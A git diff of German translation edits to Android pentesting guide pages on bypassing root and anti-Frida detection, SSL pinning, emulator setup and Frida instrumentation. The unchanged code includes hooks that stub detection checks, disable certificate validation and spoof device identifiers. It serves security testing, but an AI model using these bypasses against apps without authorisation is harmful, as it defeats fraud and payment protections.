 git clone https://github.com/Ch0pin/medusa
 cd medusa
@@ -54,20 +54,20 @@ use http_communications/multiple_unpinner
 use root_detection/universal_root_detection_bypass
 run com.target.app
 ```
-Tipp: Medusa ist ideal für schnelle Erfolge, bevor du eigene hooks schreibst. Du kannst auch Module gezielt auswählen und mit deinen eigenen Skripten kombinieren.
+Tipp: Medusa ist großartig für schnelle Erfolge, bevor du eigene hooks schreibst. Du kannst auch modules gezielt auswählen und mit deinen eigenen scripts kombinieren.
 
-## Schritt 3 — Bypass init-time detectors by attaching late
+## Schritt 3 — Detektoren zur Initialisierungszeit umgehen durch spätes Anhängen
 
-Viele Detections laufen nur während des process spawn/onCreate(). Spawn‑time injection (-f) oder gadgets werden erkannt; attaching nach dem Laden der UI kann unbemerkt durchrutschen.
+Viele Erkennungen laufen nur während des Prozess‑Spawns/onCreate(). Spawn‑time injection (-f) oder gadgets werden erwischt; spätes Anhängen, nachdem die UI geladen ist, kann unbemerkt vorbeischlüpfen.
 ```bash
 # Launch the app normally (launcher/adb), wait for UI, then attach
 frida -U -n com.example.app
 # Or with Objection to attach to running process
 aobjection --gadget com.example.app explore  # if using gadget
 ```
-Wenn das funktioniert, halte die Sitzung stabil und fahre mit Map- und Stub-Checks fort.
+Wenn das funktioniert, halte die Sitzung stabil und fahre mit map- und stub-Checks fort.
 
-## Schritt 4 — Erkennungslogik mit Jadx und String-Suche kartieren
+## Schritt 4 — Erkennungslogik mit Jadx und string hunting kartieren
 
 Statische Triage-Schlüsselwörter in Jadx:
 - "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger"
@@ -78,16 +78,16 @@ public boolean isFridaDetected() {
 return getRunningServices().contains("frida");
 }
 ```
-Gängige APIs zum review/hook:
+Häufige APIs zur Überprüfung/Hook:
 - android.os.Debug.isDebuggerConnected
 - android.app.ActivityManager.getRunningAppProcesses / getRunningServices
-- java.lang.System.loadLibrary / System.load (native bridge)
-- java.lang.Runtime.exec / ProcessBuilder (probing commands)
-- android.os.SystemProperties.get (root/emulator heuristics)
+- java.lang.System.loadLibrary / System.load (Native-Bridge)
+- java.lang.Runtime.exec / ProcessBuilder (Prüf-/Erkennungsbefehle)
+- android.os.SystemProperties.get (Root-/Emulator-Heuristiken)
 
 ## Schritt 5 — Runtime stubbing mit Frida (Java)
 
-Benutzerdefinierte Guards überschreiben, damit sie sichere Werte zurückgeben, ohne repacking:
+Überschreibe benutzerdefinierte Guards, damit sie sichere Werte zurückgeben, ohne repacking:
 ```js
 Java.perform(() => {
 const Checks = Java.use('com.example.security.Checks');
@@ -102,7 +102,7 @@ const AM = Java.use('android.app.ActivityManager');
 AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); };
 });
 ```
-Frühe Abstürze triagieren? Dump classes kurz bevor es abstürzt, um wahrscheinliche Detection-Namespaces zu erkennen:
+Frühzeitige Abstürze triagieren? Dump die Klassen kurz bevor die App abstürzt, um wahrscheinliche Detection-Namespaces zu erkennen:
 ```js
 Java.perform(() => {
 Java.enumerateLoadedClasses({
@@ -119,7 +119,7 @@ RootChecker.isDeviceRooted.implementation = function () { return false; };
 } catch (e) {}
 });
 
-Verdächtige Methoden protokollieren und neutralisieren, um den Ausführungsfluss zu bestätigen:
+Protokolliere und deaktiviere verdächtige Methoden, um den Ausführungsfluss zu bestätigen:
 ```js
 Java.perform(() => {
 const Det = Java.use('com.example.security.DetectionManager');
@@ -143,11 +143,11 @@ Build.BRAND.value = 'google';
 Build.FINGERPRINT.value = 'google/panther/panther:14/UP1A.231105.003/1234567:user/release-keys';
 });
 ```
-Ergänze Stubs für Dateiexistenzprüfungen und Identifikatoren (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList), um realistische Werte zurückzugeben.
+Ergänze Stub-Implementierungen für Datei-Existenzprüfungen und Identifikatoren (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList), damit realistische Werte zurückgegeben werden.
 
 ## SSL pinning bypass quick hook (Java)
 
-Neutralisiere benutzerdefinierte TrustManagers und erzwinge permissive SSL-Kontexte:
+Neutralisiere benutzerdefinierte TrustManagers und erzwinge permissive SSL contexts:
 ```js
 Java.perform(function(){
 var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
@@ -166,16 +166,16 @@ return SSLContextInit.call(this, km, TrustManagers, sr);
 });
 ```
 Hinweise
-- Für OkHttp erweitern: hook okhttp3.CertificatePinner und HostnameVerifier bei Bedarf, oder verwende ein universelles unpinning-Skript von CodeShare.
+- Für OkHttp erweitern: hook okhttp3.CertificatePinner und HostnameVerifier bei Bedarf, oder verwende ein universelles unpinning script von CodeShare.
 - Beispiel ausführen: `frida -U -f com.target.app -l ssl-bypass.js --no-pause`
 
-## Schritt 6 — JNI/native-Spur folgen, wenn Java-Hooks fehlschlagen
+## Schritt 6 — Der JNI/native-Spur folgen, wenn Java hooks fehlschlagen
 
-Verfolge JNI-Einstiegspunkte, um native Loader und die Detection-Initialisierung zu lokalisieren:
+Verfolge JNI-Einstiegspunkte, um native Loader und Detection-Init zu lokalisieren:
 ```bash
 frida-trace -n com.example.app -i "JNI_OnLoad"
 ```
-Schnelle native Triage von gebündelten .so-Dateien:
+Schnelle native Triage der gebündelten .so-Dateien:
 ```bash
 # List exported symbols & JNI
 nm -D libfoo.so | head
@@ -186,7 +186,7 @@ Interaktives/native reversing:
 - Ghidra: https://ghidra-sre.org/
 - r2frida: https://github.com/nowsecure/r2frida
 
-Beispiel: ptrace neutralisieren, um einfache anti‑debug in libc zu umgehen:
+Beispiel: ptrace neutralisieren, um einfaches anti‑debug in libc zu umgehen:
 ```js
 const ptrace = Module.findExportByName(null, 'ptrace');
 if (ptrace) {
@@ -202,28 +202,28 @@ reversing-native-libraries.md
 
 ## Schritt 7 — Objection patching (embed gadget / strip basics)
 
-Wenn Sie repacking runtime hooks vorziehen, versuchen Sie:
+Wenn du repacking gegenüber runtime hooks bevorzugst, versuche:
 ```bash
 objection patchapk --source app.apk
 ```
 Hinweise:
-- Benötigt apktool; stelle eine aktuelle Version gemäß der offiziellen Anleitung sicher, um Build-Probleme zu vermeiden: https://apktool.org/docs/install
-- Gadget injection ermöglicht instrumentation ohne Root, kann aber trotzdem von stärkeren init‑time checks erkannt werden.
+- Erfordert apktool; stelle sicher, dass du eine aktuelle Version gemäß der offiziellen Anleitung verwendest, um Build-Probleme zu vermeiden: https://apktool.org/docs/install
+- Gadget injection ermöglicht instrumentation ohne Root, kann aber dennoch von stärkeren init‑time checks erkannt werden.
 
-Optional, füge LSPosed-Module und Shamiko für stärkeres root hiding in Zygisk-Umgebungen hinzu, und kuratiere die DenyList, um child processes abzudecken.
+Optional kannst du LSPosed-Module und Shamiko hinzufügen, um stärkeres root hiding in Zygisk-Umgebungen zu erreichen, und die DenyList pflegen, um Child-Prozesse abzudecken.
 
 Referenzen:
 - Objection: https://github.com/sensepost/objection
 
-## Schritt 8 — Fallback: Patch TLS pinning für Netzwerk‑Sichtbarkeit
+## Schritt 8 — Fallback: TLS pinning patchen für Netzwerksichtbarkeit
 
-Wenn instrumentation blockiert ist, kannst du den Traffic trotzdem untersuchen, indem du pinning statisch entfernst:
+Wenn instrumentation blockiert ist, kannst du den Traffic trotzdem untersuchen, indem du das Pinning statisch entfernst:
 ```bash
 apk-mitm app.apk
 # Then install the patched APK and proxy via Burp/mitmproxy
 ```
 - Tool: https://github.com/shroudedcode/apk-mitm
-- Für Tricks zur Netzwerk-Konfiguration bezüglich CA‑trust (und Android 7+ user CA trust), siehe:
+- Für Tricks zur Netzwerk‑Konfiguration/CA‑Trust (und Benutzer‑CA‑Trust ab Android 7), siehe:
 
 {{#ref}}
 make-apk-accept-ca-certificate.md
@@ -253,12 +253,12 @@ apk-mitm app.apk
 ```
 ## Tipps & Hinweise
 
-- Bevorzuge ein spätes attach gegenüber spawn, wenn Apps beim Start abstürzen
-- Einige detections werden in kritischen Flows (z. B. payment, auth) erneut ausgeführt — halte hooks während der Navigation aktiv
-- Kombiniere static und dynamic: string hunt in Jadx, um Klassen zu shortlisten; hook methods, um zur Laufzeit zu verifizieren
-- Gehärtete Apps können packers und native TLS pinning verwenden — erwarte, nativen Code reverse-engineeren
+- Bevorzuge late attaching gegenüber spawning, wenn Apps beim Launch abstürzen
+- Einige Detections laufen in kritischen Flows (z. B. payment, auth) erneut — halte hooks während der Navigation aktiv
+- Kombiniere static und dynamic: string hunt in Jadx, um Klassen vorzuselektieren; hook dann Methoden, um sie zur runtime zu verifizieren
+- Hardened apps können packers und native TLS pinning verwenden — erwarte, nativen Code zu reverse-engineeren
 
-## References
+## Referenzen
 
 - [Reversing Android Apps: Bypassing Detection Like a Pro](https://www.kayssel.com/newsletter/issue-12/)
 - [Frida Codeshare](https://codeshare.frida.re/)

src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md

@@ -6,19 +6,19 @@ Vielen Dank an [**@offsecjay**](https://twitter.com/offsecjay) für seine Hilfe
 
 ## Was ist
 
-Android Studio ermöglicht es, **virtuelle Android-Maschinen auszuführen, die du zum Testen von APKs verwenden kannst**. Um sie zu benutzen, benötigst du:
+Android Studio ermöglicht es, **Android-VMs auszuführen, die du zum Testen von APKs verwenden kannst**. Um sie zu nutzen benötigst du:
 
 - Die **Android SDK tools** - [Download here](https://developer.android.com/studio/releases/sdk-tools).
 - Oder **Android Studio** (mit Android SDK tools) - [Download here](https://developer.android.com/studio).
 
 Unter Windows (in meinem Fall) hatte ich **nach der Installation von Android Studio** die **SDK Tools installiert in**: `C:\Users\<UserName>\AppData\Local\Android\Sdk\tools`
 
-Auf macOS kannst du die **SDK tools herunterladen** und sie dem PATH hinzufügen, indem du folgendes ausführst:
+Auf macOS kannst du die **SDK tools** herunterladen und sie mit folgendem Befehl in den PATH aufnehmen:
 ```bash
 brew tap homebrew/cask
 brew install --cask android-sdk
 ```
-Oder über die **Android Studio GUI**, wie in [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) angegeben, welche sie in `~/Library/Android/sdk/cmdline-tools/latest/bin/` und `~/Library/Android/sdk/platform-tools/` und `~/Library/Android/sdk/emulator/` installiert.
+Oder über die **Android Studio GUI**, wie in [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) angegeben, die diese in `~/Library/Android/sdk/cmdline-tools/latest/bin/` und `~/Library/Android/sdk/platform-tools/` und `~/Library/Android/sdk/emulator/` installiert
 
 Für die Java-Probleme:
 ```java
@@ -40,34 +40,34 @@ Then, click on _**Create Virtual Device**_
 
 <figure><img src="../../images/image (1143).png" alt="" width="188"><figcaption></figcaption></figure>
 
-_**select** the phone you want to use_ and click on _**Next.**_
+_**Wählen** Sie das Telefon, das Sie verwenden möchten_ und klicken Sie auf _**Next.**_
 
 > [!WARNING]
-> Wenn du ein Telefon mit installiertem Play Store benötigst, wähle eines mit dem Play Store-Symbol darauf!
+> Wenn Sie ein Telefon mit installiertem Play Store benötigen, wählen Sie eines mit dem Play Store-Symbol darauf!
 >
 > <img src="../../images/image (1144).png" alt="" data-size="original">
 
-In dieser Ansicht kannst du das **Android-Image auswählen und herunterladen**, das das Telefon ausführen wird:
+In der aktuellen Ansicht können Sie das **Android-Image auswählen und herunterladen**, das das Telefon ausführen wird:
 
 <figure><img src="../../images/image (1145).png" alt="" width="375"><figcaption></figcaption></figure>
 
-Wähle es aus und falls es noch nicht heruntergeladen ist, klicke auf das _**Download**_-Symbol neben dem Namen (**warte nun, bis das Image heruntergeladen ist**).\
-Sobald das Image heruntergeladen ist, wähle einfach **`Next`** und **`Finish`**.
+Wählen Sie es also aus und falls es nicht heruntergeladen ist, klicken Sie auf das _**Download**_-Symbol neben dem Namen (**warten Sie nun, bis das Image heruntergeladen ist**).\
+Sobald das Image heruntergeladen ist, wählen Sie einfach **`Next`** und **`Finish`**.
 
-Die virtuelle Maschine wird erstellt. Nun wird sie **jedes Mal vorhanden sein, wenn du den AVD manager aufrufst**.
+Die virtuelle Maschine wird erstellt. Jetzt wird sie **jedes Mal angezeigt, wenn Sie den AVD Manager aufrufen**.
 
 ### Virtuelle Maschine starten
 
-Um sie **zu starten**, drücke einfach den _**Start button**_.
+Um sie **zu starten**, drücken Sie einfach den _**Start button**_.
 
 ![](<../../images/image (518).png>)
 
 ## Kommandozeilen-Tool
 
 > [!WARNING]
-> Unter macOS findest du das `avdmanager`-Tool in `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` und den `emulator` in `/Users/<username>/Library/Android/sdk/emulator/emulator`, falls du sie installiert hast.
+> Für macOS finden Sie das `avdmanager`-Tool in `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` und den `emulator` in `/Users/<username>/Library/Android/sdk/emulator/emulator`, wenn Sie sie installiert haben.
 
-Zuerst musst du **entscheiden, welches Telefon du verwenden möchtest**, um die Liste der möglichen Telefone zu sehen, führe aus:
+Zuerst müssen Sie **entscheiden, welches Telefon Sie verwenden möchten**; um die Liste der möglichen Telefone zu sehen, führen Sie aus:
 ```
 C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list device
 
@@ -95,16 +95,16 @@ Name: Nexus 10
 OEM : Google
 [...]
 ```
-Sobald Sie den Namen des Geräts festgelegt haben, das Sie verwenden möchten, müssen Sie **entscheiden, welches Android-Image Sie auf diesem Gerät ausführen möchten.**\
-Sie können alle Optionen mit `sdkmanager` auflisten:
+Sobald du den Namen des Geräts, das du verwenden möchtest, festgelegt hast, musst du **entscheiden, welches Android-Image du auf diesem Gerät ausführen möchtest.**\
+Du kannst alle Optionen mit `sdkmanager` auflisten:
 ```bash
 C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list
 ```
-Und **lade** die eine (oder alle) herunter, die du verwenden möchtest:
+Und **lade** denjenigen (oder alle) herunter, die du verwenden möchtest, mit:
 ```bash
 C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64"
 ```
-Sobald Sie das Android-Image heruntergeladen haben, das Sie verwenden möchten, können Sie mit folgendem Befehl **alle heruntergeladenen Android-Images auflisten**:
+Sobald Sie das Android image, das Sie verwenden möchten, heruntergeladen haben, können Sie mit folgendem Befehl **alle heruntergeladenen Android images** auflisten:
 ```
 C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list target
 ----------
@@ -120,11 +120,12 @@ Type: Platform
 API level: 29
 Revision: 4
 ```
-Zu diesem Zeitpunkt haben Sie das Gerät, das Sie verwenden möchten, ausgewählt und das Android-Image heruntergeladen. Sie können daher **die virtuelle Maschine wie folgt erstellen**:
+In diesem Moment haben Sie das Gerät ausgewählt, das Sie verwenden möchten, und das Android image heruntergeladen, daher **können Sie die virtuelle Maschine mit**:
 ```bash
 C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X"
 ```
-Im letzten Befehl **habe ich eine VM namens** "_AVD9_" unter Verwendung des **Geräts** "_Nexus 5X_" und des **Android-Images** "_system-images;android-28;google_apis;x86_64_".\ Jetzt kannst du **die von dir erstellten virtuellen Maschinen auflisten** mit:
+Im letzten Befehl **habe ich eine VM mit dem Namen** "_AVD9_" erstellt, mit dem **device** "_Nexus 5X_" und dem **Android image** "_system-images;android-28;google_apis;x86_64_".\
+Jetzt können Sie **die virtuellen Maschinen auflisten**, die Sie erstellt haben, mit:
 ```bash
 C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd
 
@@ -142,15 +143,15 @@ Error: Google pixel_2 no longer exists as a device
 ### Virtuelle Maschine starten
 
 > [!WARNING]
-> Für macOS findest du das `avdmanager`-Tool in `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` und den `emulator` in `/Users/<username>/Library/Android/sdk/emulator/emulator`, falls du sie installiert hast.
+> Für macOS findest du das `avdmanager` tool in `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` und den `emulator` in `/Users/<username>/Library/Android/sdk/emulator/emulator`, falls du sie installiert hast.
 
-Wir haben bereits gesehen, wie du die erstellten virtuellen Maschinen auflisten kannst, aber **du kannst sie auch mit folgendem Befehl auflisten**:
+Wir haben bereits gesehen, wie du die erstellten virtuellen Maschinen auflisten kannst, aber **du kannst sie auch mit**:
 ```bash
 C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds
 AVD9
 Pixel_2_API_27
 ```
-Du kannst einfach **jede erstellte virtuelle Maschine** mit folgendem Befehl starten:
+Sie können einfach **jede erstellte virtuelle Maschine starten** mit:
 ```bash
 C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "VirtualMachineName"
 C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9"
@@ -161,7 +162,7 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht
 ```
 ### Befehlszeilenoptionen
 
-Es gibt jedoch **viele verschiedene nützliche Befehlszeilenoptionen**, die du verwenden kannst, um eine virtuelle Maschine zu starten. Nachfolgend findest du einige interessante Optionen, eine vollständige Liste kannst du [**hier finden**](https://developer.android.com/studio/run/emulator-commandline)
+Es gibt jedoch **viele nützliche Befehlszeilenoptionen**, die du verwenden kannst, um eine virtuelle Maschine zu starten. Unten findest du einige interessante Optionen, du kannst aber [**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline)
 
 **Boot**
 
@@ -170,24 +171,24 @@ Es gibt jedoch **viele verschiedene nützliche Befehlszeilenoptionen**, die du v
 
 **Netzwerk**
 
-- `-dns-server 192.0.2.0, 192.0.2.255` : Ermöglicht das Komma-getrennte Angeben der DNS-Server für die VM.
-- **`-http-proxy 192.168.1.12:8080`** : Ermöglicht das Angeben eines HTTP-Proxys zur Nutzung (sehr nützlich, um den Traffic mit Burp zu erfassen)
-- Wenn die Proxy-Einstellungen aus irgendeinem Grund nicht funktionieren, versuche sie intern zu konfigurieren oder eine Anwendung wie "Super Proxy" oder "ProxyDroid" zu verwenden.
+- `-dns-server 192.0.2.0, 192.0.2.255` : Ermöglicht es, die DNS-Server kommasepariert an die VM anzugeben.
+- **`-http-proxy 192.168.1.12:8080`** : Ermöglicht es, einen HTTP-Proxy anzugeben (sehr nützlich, um den Traffic mit Burp zu erfassen)
+- Wenn die Proxy-Einstellungen aus irgendeinem Grund nicht funktionieren, versuche, sie intern zu konfigurieren oder eine Anwendung wie "Super Proxy" oder "ProxyDroid" zu verwenden.
 - `-netdelay 200` : Setzt die Netzwerklatenz-Emulation in Millisekunden.
-- `-port 5556` : Legt die TCP-Portnummer fest, die für die Konsole und adb verwendet wird.
-- `-ports 5556,5559` : Legt die TCP-Ports fest, die für die Konsole und adb verwendet werden.
-- **`-tcpdump /path/dumpfile.cap`** : Erfasst den gesamten Datenverkehr in einer Datei
+- `-port 5556` : Setzt die TCP-Portnummer, die für die Konsole und adb verwendet wird.
+- `-ports 5556,5559` : Setzt die TCP-Ports, die für die Konsole und adb verwendet werden.
+- **`-tcpdump /path/dumpfile.cap`** : Erfasst sämtlichen Traffic in einer Datei
 
 **System**
 
-- `-selinux {disabled|permissive}` : Setzt das Security-Enhanced Linux Security-Modul entweder auf disabled oder permissive Modus unter einem Linux-Betriebssystem.
-- `-timezone Europe/Paris` : Legt die Zeitzone für das virtuelle Gerät fest
-- `-screen {touch(default)|multi-touch|o-touch}` : Legt den emulierten Touchscreen-Modus fest.
-- **`-writable-system`** : Verwende diese Option, um während deiner Emulationssitzung ein beschreibbares System-Image zu haben. Du musst außerdem `adb root; adb remount` ausführen. Das ist sehr nützlich, um ein neues Zertifikat im System zu installieren.
+- `-selinux {disabled|permissive}` : Setzt das Security-Enhanced Linux Security-Modul auf disabled oder permissive Mode unter Linux.
+- `-timezone Europe/Paris` : Setzt die Zeitzone für das virtuelle Gerät
+- `-screen {touch(default)|multi-touch|o-touch}` : Setzt den emulierten Touchscreen-Modus.
+- **`-writable-system`** : Verwende diese Option, um ein beschreibbares System-Image während der Emulation zu haben. Du musst außerdem `adb root; adb remount` ausführen. Das ist sehr nützlich, um ein neues Zertifikat im System zu installieren.
 
-## Linux-CLI-Einrichtung (SDK/AVD quickstart)
+## Linux CLI setup (SDK/AVD quickstart)
 
-Die offiziellen CLI-Tools machen es einfach, schnelle, debugbare Emulatoren zu erstellen, ohne Android Studio.
+Die offiziellen CLI-Tools machen es einfach, schnelle, debugbare Emulatoren ohne Android Studio zu erstellen.
 ```bash
 # Directory layout
 mkdir -p ~/Android/cmdline-tools/latest
@@ -216,9 +217,9 @@ adb root
 adb shell whoami  # expect: root
 ```
 Hinweise
-- System-Image-Varianten: google_apis (debugfähig, ermöglicht `adb root`), google_apis_playstore (nicht rootbar), aosp/default (leichtgewichtig).
-- Build-Typen: userdebug erlaubt oft `adb root` auf debug-fähigen Images. Play Store-Images sind Produktions-Builds und verhindern Root.
-- Auf x86_64-Hosts wird die Full-System-ARM64-Emulation ab API 28+ nicht unterstützt. Für Android 11+ verwende Google APIs/Play-Images, die pro-App ARM-to-x86-Translation enthalten, um viele ARM-only-Apps schnell auszuführen.
+- System-Image-Varianten: google_apis (debuggable, erlaubt `adb root`), google_apis_playstore (nicht rootbar), aosp/default (leichtgewichtig).
+- Build-Typen: userdebug erlaubt oft `adb root` auf debug-fähigen Images. Play Store-Images sind Produktions-Builds und blockieren Root-Zugriff.
+- Auf x86_64-Hosts wird die Full-System-ARM64-Emulation ab API 28+ nicht unterstützt. Für Android 11+ verwende Google APIs/Play-Images, die eine per-App ARM-zu-x86-Übersetzung bieten, um viele ARM-only Apps schnell auszuführen.
 
 ### Snapshots von der CLI
 ```bash
@@ -230,22 +231,22 @@ emulator -avd PixelRootX86 -writable-system -snapshot my_clean_setup
 ```
 ## ARM→x86 Binärübersetzung (Android 11+)
 
-Google APIs und Play Store-Images unter Android 11+ können ARM-App-Binaries pro Prozess übersetzen, während der Rest des Systems nativ x86/x86_64 bleibt. Das ist oft schnell genug, um viele ARM-only Apps auf dem Desktop zu testen.
+Google APIs und Play Store images auf Android 11+ können ARM-App-Binaries pro Prozess übersetzen, während der Rest des Systems nativ x86/x86_64 bleibt. Das ist oft schnell genug, um viele ARM-only Apps auf dem Desktop zu testen.
 
-> Tipp: Bevorzuge Google APIs x86/x86_64-Images während pentests. Play-Images sind praktisch, blockieren aber `adb root`; verwende sie nur, wenn du speziell Play services benötigst und das Fehlen von root akzeptierst.
+> Tipp: Bevorzuge Google APIs x86/x86_64 images während pentests. Play images sind praktisch, blockieren aber `adb root`; verwende sie nur, wenn du speziell Play services benötigst und das Fehlen von root akzeptierst.
 
 ## Rooting eines Play Store-Geräts
 
-Wenn du ein Gerät mit Play Store heruntergeladen hast, wirst du nicht direkt root erhalten können, und du bekommst diese Fehlermeldung
+Wenn du ein Gerät mit Play Store heruntergeladen hast, kannst du nicht direkt root erhalten und bekommst diese Fehlermeldung
 ```
 $ adb root
 adbd cannot run as root in production builds
 ```
-Mit [rootAVD](https://github.com/newbit1/rootAVD) und [Magisk](https://github.com/topjohnwu/Magisk) konnte ich es rooten (siehe zum Beispiel [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **oder** [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8)).
+Using [rootAVD](https://github.com/newbit1/rootAVD) with [Magisk](https://github.com/topjohnwu/Magisk) I was able to root it (follow for example [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **or** [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8)).
 
 ## Burp-Zertifikat installieren
 
-Siehe die folgende Seite, um zu erfahren, wie man ein benutzerdefiniertes CA-Zertifikat installiert:
+Siehe die folgende Seite, um zu lernen, wie man ein benutzerdefiniertes CA-Zertifikat installiert:
 
 
 {{#ref}}
@@ -262,8 +263,8 @@ Du kannst die **GUI** verwenden, um jederzeit einen Snapshot der VM zu erstellen
 
 ## Referenzen
 
-- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
-- [Android Emulator command line](https://developer.android.com/studio/run/emulator-commandline)
-- [Run ARM apps on the Android Emulator (x86 translation)](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)
+- [Ein reproduzierbares Android Bug Bounty Lab aufbauen: Emulator vs Magisk, Burp, Frida und Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
+- [Android Emulator Befehlszeile](https://developer.android.com/studio/run/emulator-commandline)
+- [ARM-Apps auf dem Android Emulator ausführen (x86 translation)](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)
 
 {{#include ../../banners/hacktricks-training.md}}

src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md

@@ -1,4 +1,4 @@
-# Frida Tutorial
+# Frida Anleitung
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -10,22 +10,22 @@ Installiere **frida tools**:
 pip install frida-tools
 pip install frida
 ```
-**Download und installiere** auf dem Android-Gerät den **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\
-Einzeiler, um adb im Root-Modus neu zu starten, eine Verbindung zu ihm herzustellen, frida-server hochzuladen, Ausführungsrechte zu vergeben und ihn im Hintergrund auszuführen:
+**Download und installiere** in the android den **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\
+Einzeiler, um adb im Root-Modus neu zu starten, eine Verbindung herzustellen, frida-server hochzuladen, Ausführungsrechte zu vergeben und ihn im Hintergrund laufen zu lassen:
 ```bash
 adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &"
 ```
-**Überprüfe** ob es **funktioniert**:
+**Prüfe** ob es **funktioniert**:
 ```bash
 frida-ps -U #List packages and processes
 frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
 ```
 ## Frida server vs. Gadget (root vs. no-root)
 
-Zwei gängige Wege, Android-Apps mit Frida zu instrumentieren:
+Zwei gängige Methoden, um Android-Apps mit Frida zu instrumentieren:
 
-- Frida server (rooted devices): Einen nativen Daemon aufspielen und ausführen, der es ermöglicht, sich an jeden Prozess anzuhängen.
-- Frida Gadget (no root): Frida als Shared Library in die APK einbinden und sie automatisch im Zielprozess laden.
+- Frida server (rooted devices): Auf das Gerät pushen und einen nativen Daemon starten, der es erlaubt, sich an jeden Prozess anzuhängen.
+- Frida Gadget (no root): Frida als shared library in die APK einbinden und automatisch im Zielprozess laden.
 
 Frida server (rooted)
 ```bash
@@ -40,11 +40,11 @@ adb shell /data/local/tmp/frida-server &    # run at boot via init/magisk if des
 frida-ps -Uai
 frida -U -n com.example.app
 ```
-Frida Gadget (no-root)
+Frida Gadget (ohne Root)
 
-1) APK entpacken, das Gadget .so und die Config hinzufügen:
-- Lege libfrida-gadget.so in lib/<abi>/ ab (z. B. lib/arm64-v8a/)
-- Erstelle assets/frida-gadget.config mit deinen Einstellungen zum Laden von Scripts
+1) Entpacke die APK, füge das gadget .so und die Konfiguration hinzu:
+- Platziere libfrida-gadget.so in lib/<abi>/ (z. B. lib/arm64-v8a/)
+- Erstelle assets/frida-gadget.config mit deinen Einstellungen zum Laden von Skripten
 
 Beispiel frida-gadget.config
 ```json
@@ -53,10 +53,10 @@ Beispiel frida-gadget.config
 "runtime": { "logFile": "/sdcard/frida-gadget.log" }
 }
 ```
-2) Referenziere/lade das Gadget, sodass es frühzeitig initialisiert wird:
-- Am einfachsten: Füge einen kleinen Java-Stub hinzu, der System.loadLibrary("frida-gadget") in Application.onCreate() aufruft, oder verwende das bereits vorhandene native Laden von Bibliotheken.
+2) Referenziere/lade das gadget so, dass es frühzeitig initialisiert wird:
+- Am einfachsten: Füge einen kleinen Java-Stub hinzu, der System.loadLibrary("frida-gadget") in Application.onCreate() aufruft, oder verwende bereits vorhandenes native lib loading.
 
-3) APK neu packen, signieren und installieren:
+3) Repacke und signiere die APK, und installiere sie anschließend:
 ```bash
 apktool d app.apk -o app_m
 # ... add gadget .so and config ...
@@ -70,38 +70,38 @@ frida-ps -Uai
 frida -U -n com.example.app
 ```
 Hinweise
-- Gadget wird von einigen Schutzmechanismen erkannt; halte Namen/Pfade unauffällig und lade ihn spät/bedingt, falls nötig.
-- Bei gehärteten Apps bevorzuge Tests auf gerootetem Gerät mit server + late attach, oder kombiniere das mit Magisk/Zygisk hiding.
+- Gadget wird von einigen Schutzmechanismen erkannt; halte Namen/Pfade unauffällig und lade ihn spät/bedarfsabhängig, falls nötig.
+- Bei gehärteten Apps bevorzugt rooted Testing mit server + late attach, oder kombiniere das mit Magisk/Zygisk-Hiding.
 
 ## Tutorials
 
 ### [Tutorial 1](frida-tutorial-1.md)
 
-**Von**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
+**Quelle**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
 **APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
